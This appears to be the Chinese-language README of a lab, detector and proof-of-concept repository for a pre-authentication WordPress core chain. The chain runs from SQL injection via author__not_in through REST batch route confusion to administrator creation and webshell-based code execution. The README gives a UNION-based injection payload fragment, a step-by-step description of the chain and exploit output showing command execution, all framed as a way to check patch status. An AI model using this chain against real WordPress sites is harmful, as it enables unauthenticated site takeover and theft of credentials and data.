一个自包含的实验环境、非破坏性检测器,以及针对 wp2shell 的完整预认证 RCE 概念验证——WordPress 核心中的预认证漏洞链:
| CVE | 组件 | 类别 | CVSS |
|---|---|---|---|
| CVE-2026-60137 | WP_Query::author__not_in | SQL 注入(CWE-89) | 9.1 |
| CVE-2026-63030 | REST /batch/v1 路由混淆 | 解释冲突(CWE-436)→ 链式利用至 RCE | 7.5 |
受影响版本: WordPress 核心 6.9.0–6.9.4 和 7.0.0–7.0.1(仅 SQLi 注入点也影响 6.8.0–6.8.5)。已在 6.8.6 / 6.9.5 / 7.0.2 中修复。 由 Adam Kues(Assetnote / Searchlight Cyber)报告;SQLi 同时归功于 TF1T、dtro、haongo。默认配置 RCE 链(oEmbed → changeset → 重入)由 Mustafa Can İPEKÇİ(nukedx)完成。
请先更新。 WordPress 已为此发布强制自动更新。本仓库的存在是为了帮助你 验证自己的资产是否已打补丁,并理解该漏洞——而非攻击任何人。参见 SECURITY.md。
恒真原语是一个无需认证、无需插件、原生核心的 SQL 注入,可提供
完整的数据库读取(管理员密码哈希、wp_options/wp_users 中的一切内容)。仅此一项就足以
获得 9.1 的评分并需要立即打补丁。
RCE 是真实的,且在默认配置的 WordPress 上有效——不需要 FILE 权限、不需要持久化
对象缓存、不需要插件、不需要任何错误配置。该链利用只读 SQLi 作为
行伪造原语(UNION ALL SELECT 注入伪造的 wp_posts 行),然后利用
WordPress 自身的内容渲染管线,通过 oEmbed 缓存将这些伪造行转化为真实的数据库写入。
由此,changeset 提权和可重入的 parse_request 在管理员上下文中运行,创建一个新的管理员账户——全部来自单个未认证的 HTTP 请求。
POST /?rest_route=/batch/v1)1. Route confusion — double-nested batch desyncs $matches/$validation so a GET
/wp/v2/widgets runs under posts::get_items() (public), reaching
WP_Query's author__not_in with attacker-controlled input.
2. Row forgery — author__not_in is string-concatenated into SQL;
"1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
treats -1 as "no limit" → empty $limits → split=false →
full SELECT wp_posts.* → UNION columns match).
3. oEmbed write — forged posts carry [embed]<self-url>[/embed]; rendering via
context=view makes WordPress cache real oembed_cache posts in
the DB (turns read-only SQLi into writes with predictable IDs).
4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
forged post_type=request row with parent loops drives an
in-process re-entrant parse_request in admin context.
5. Admin creation — POST /wp/v2/users in the same batch passes
current_user_can('create_users') → new administrator.
6. RCE — login → plugin webshell upload → command execution → cleanup.
新颖之处在于组合,而非任何单个漏洞——各个组件本身都是合法的 WordPress 行为。为它们命名(依据 Adam Kues 的撰写)能让 exploit() 中伪造行的图变得可读,并标记出在入口点被修补后需要重新审计的内容:
wp_update_post() 进行协调,并优先采用内存中的 post_type/post_status,从而让一个 oembed_cache 行被重新类型化为真正的 post/customize_changeset。post_content 的循环检测——wp_insert_post_parent 过滤器会遍历父链;当检测到循环时,它会调用第二次 wp_update_post(),该调用修复父级而不覆盖 post_content。这是关键环节:它让伪造 changeset 的恶意 post_content 得以存活。(这就是为什么伪造行使用自父/互父循环。)parse_request 重放钩子——发布文章会触发 do_action("{$status}_{$type}");一个带有 post_status=parse / post_type=request 的伪造行会触发 parse_request,在 changeset 假定的管理员身份(wp_set_current_user)仍然有效时重新运行批处理管道。这些组件在已修补的 WordPress 中依然存在——只有两个入口点(批处理失步 + author__not_in 标量绕过)被关闭。任何能够伪造内存中文章缓存或写入 oembed_cache 行的新原语,都会重新启用完全相同的管理员接管尾部。
全部四个渲染时写入原语均已在 7.0.1 上确认生效——每一个都作为未认证文章被伪造,通过批处理混淆进行渲染,并通过盲 SQLi 验证了产生的数据库写入:
| 原语 | 触发标记 | 汇点 | 预测标识符 | 已验证 |
|---|---|---|---|---|
| oembed | [embed]<url>[/embed] | wp_posts 行(oembed_cache) | post_name = md5(url+attrs) | 已创建文章 ID |
| rss | wp:rss {feedURL} | wp_options 站点瞬态 | _site_transient_feed_<md5(url)> | option_id,缓存 5192 B |
| navigation | wp:navigation | wp_posts 行(wp_navigation) | post_name = 'navigation'(固定) | 已创建 ID,slug 为 navigation |
| calendar | wp:calendar | wp_options | wp_calendar_block_has_published_posts | option_id,值为 '1' |
每个结果所证明的内容:
wp_posts 行,带有攻击者可预测的 slug(md5(url+serialize(attrs)))和真实的自动递增 ID。这是唯一能提供多个、按需、攻击者命名的文章行的原语——这就是为什么 RCE 链使用它来支撑伪造的 changeset/request 图。_site_transient_feed_<md5(url)> 完全可预测,存储的字节是攻击者 URL 所提供的 feed 正文——即攻击者同时控制键和值。这是一次 wp_options 写入(无文章 ID),因此它是一种选项投毒原语,而非 changeset 支撑的直接替代品。wp_navigation 则跳过),且 slug 固定,因此最多只能支撑一个伪造对象,不像 oEmbed 的 N 行。update_option 路径在未认证情况下触发,但选项名称及其 '1'/'0' 值都是固定/数据库派生的,因此它只是一个“写入确实发生”的演示,攻击者对键或值没有控制权。FILE 权限 + 一个由 Web 提供的 secure_file_priv + 该目录对 Web 用户可读。在普通/托管主机上,这些条件均不成立。call_user_func('wp_insert_user', user_data_array) — 需要 gc_enabled()=false + 有效的 HMAC(对精确序列化字节的 wp_hash,需要 wp-config.php 中的密钥)。要求:Docker + Docker Compose v2、Python 3.8+(仅标准库)、make、curl。
make up # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof # -> also reads @@version and current_user() as read-only evidence
make exploit # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched # rebuild on the fixed image and re-check -> [not vulnerable]
make down # tear down (removes volumes)
使用 WP_PORT=8100 make up 更改端口。
关于已修补镜像的说明: 官方 Docker
wordpress镜像会比 WordPress 核心安全 版本晚一两天发布。如果make patched报告wordpress:7.0.2尚未在 Docker Hub 上, 请稍后重试,或将其指向已发布的任一修复标签:make patched WP_PATCHED_TAG=6.9.5(或7.0.2/6.8.6)。任何 WordPress ≥ 6.9.5 / 7.0.2 / 6.8.6 都会返回not vulnerable。
$ make check
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain) [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
confirmed: unauthenticated SQL injection
rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)
$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!... ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ make patched
[not vulnerable] http://localhost:8093 (WordPress 7.0.2, outside-affected-range) [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]
wp2shell_check.py)仅使用标准库,无依赖。
非破坏性,在三个独立维度上自动回退,因此单条被阻断的路径绝不会被误判为假阴性:
WHERE 在 true/false 之间翻转,观察混淆后的 posts 查询的 X-WP-Total 是否塌缩,不使用 SLEEP);若未触发,则使用基于时间的 SLEEP 差异。SLEEP 被包裹在派生表中 ——
(SELECT 1 FROM (SELECT SLEEP(n))x) —— 因此无论行数多少都只求值一次(裸 SLEEP() 在某些托管主机上会被优化掉,从而被误判为假阴性)。/wp-json,则使用 POST / 上的 rest_route=/batch/v1 multipart 表单(即精确的运维请求形态)。/wp/v2/users 验证偏移后的请求;若该端点对未认证调用者禁用(Disable-REST-API 插件、用户枚举加固),则回退到通用的 /wp/v2/posts/<id> 条目端点。以上均不读取数据或改变状态。--proof 仅通过有界盲读读取 @@version 和 current_user()。它不会提取敏感数据或尝试代码执行。